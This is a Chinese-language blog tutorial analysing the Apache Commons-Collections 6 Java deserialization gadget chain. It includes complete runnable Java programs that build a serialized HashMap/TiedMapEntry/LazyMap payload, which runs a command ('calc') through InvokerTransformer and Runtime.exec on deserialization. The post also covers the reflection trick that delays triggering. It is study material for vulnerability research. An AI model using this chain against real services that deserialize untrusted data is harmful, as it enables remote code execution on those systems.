Java安全-Commons-Collections 6利用链分析
前言
继续开始审计CC链。
前面审计了CC1链,CC1链要求环境中的jdk版本低于8u71
以及Commons-Collections 3.2.1
,而CC6不受jdk版本限制,因此可以说CC6就是一个可以在高版本jdk利用的CC链。
一句话介绍CC6,那就是CC6 = CC1 +URLDNS
环境搭建
- JDK 8u71
- Commoons-Collection 3.2.1
继续用CC1的环境就可以,参考上篇文章Java安全-Common-Collections 1利用链分析
CC6利用链分析
CC6链的前半条链与LazyMap
版的CC1链一样,我们先来回顾一下LazyMap
版的CC1链。
回顾CC1
我们在分析LazyMap
版的CC1时讲过,链子的尾部就是InvokerTransformer
类中的transform
方法
这里的tansform
方法可以通过类似反射的方式获取并执行
我们在CC1中通过InvokerTransformer
获取到Runtime
来执行命令
1 2 3 4 5
| Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class,},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
|

通过ChainedTransformer
来简化这个过程
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
然后就是找谁调用了transforme
方法
前面的分析中,用的是LazyMap
类的get
方法

到这里是CC6和CC1相同的部分,我们下面开始分析CC6
分析CC6
寻找链子
我们继续从LazyMap
的get
方法开始分析
首先是TiedMapEntry
类中的getValue()
方法调用了LazyMap
的get()
方法

这里的map
是TiedMapEntry
构造函数定义,可控
我们用TiedMapEntry
写一个Exp,确保这条链子可用
由于TiedMapEntry
作用域是public,所以不需要通过反射获取它的方法,可以直接调用并修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class TiedMapEntryExp1 { public static void main(String[] args) throws Exception{ Transformer[] tansformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers); HashMap<Object,Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key"); tiedMapEntry.getValue();
} }
|

这里其实就是new了一个TiedMapEntry
对象,调用它的getValue()
方法,然后再去调用map.get(key)
现在确认了TiedMapEntry
这一段链子的可用性,往上找谁调用了TiedMapEntry
中的getValue
方法
正好这个类有个hashCode
方法调用了getValue
方法

看到hashCode
不难想到URLDNS
链
HashMap
类本身就是一个完美的入口类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.util.HashMap; import java.util.Map;
public class TiedMapEntryExp1 { public static void main(String[] args) throws Exception{ Transformer[] tansformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers); HashMap<Object,Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key"); HashMap<Object,Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"p0l1st");
serialize(expMap); unserialize("ser.bin"); } public static void serialize(Object object) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
这里的hash(key)
会自动调用key.hashCode()


key
可以通过HashMap.put()
设置
但是HashMap.put()
本身就会调用一次hash
,其实就是HashMap.put()
会自动调用hashCode()

这就会导致命令在序列化的时候就提前触发
解决问题
参考URLDNS链中的思想,执行put()
方法的时候,先不让其命令执行,反序列化的时候再命令执行
put
前将LazyMap
的factory
属性修改为随便一个值,之后再通过反射(作用域是protected
)修改回来

1 2 3 4
| Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMapClass, chainedTransformer);
|
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class TiedMapEntryExp1 { public static void main(String[] args) throws Exception{ Transformer[] tansformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers); HashMap<Object,Object> map = new HashMap<Object,Object>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
HashMap<Object,Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
map2.put(tiedMapEntry,"bbb"); map.remove("aaa");
Class c = LazyMap.class; Field fieldfactory = c.getDeclaredField("factory"); fieldfactory.setAccessible(true); fieldfactory.set(lazymap,chainedTransformer); serialize(map2); unserialize("ser.bin");
} public static void serialize(Object object) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); } public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|

解释一下为什么会有map.remove("aaa")
在LazyMap
的get
方法下个断点,
这里会判断LazyMap
中有没有key
,本来是没有的,但是put
了一个键值对,如果这里不删除就会导致进不去if,自然也就无法调用factory.transform(key)

总结
1 2 3 4 5 6 7 8 9
| HashMap.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()
|
参考文章
cc6利用链分析
Java_Commons-Collections 6 (CC6)学习过程
Java反序列化Commons-Collections篇03-CC6链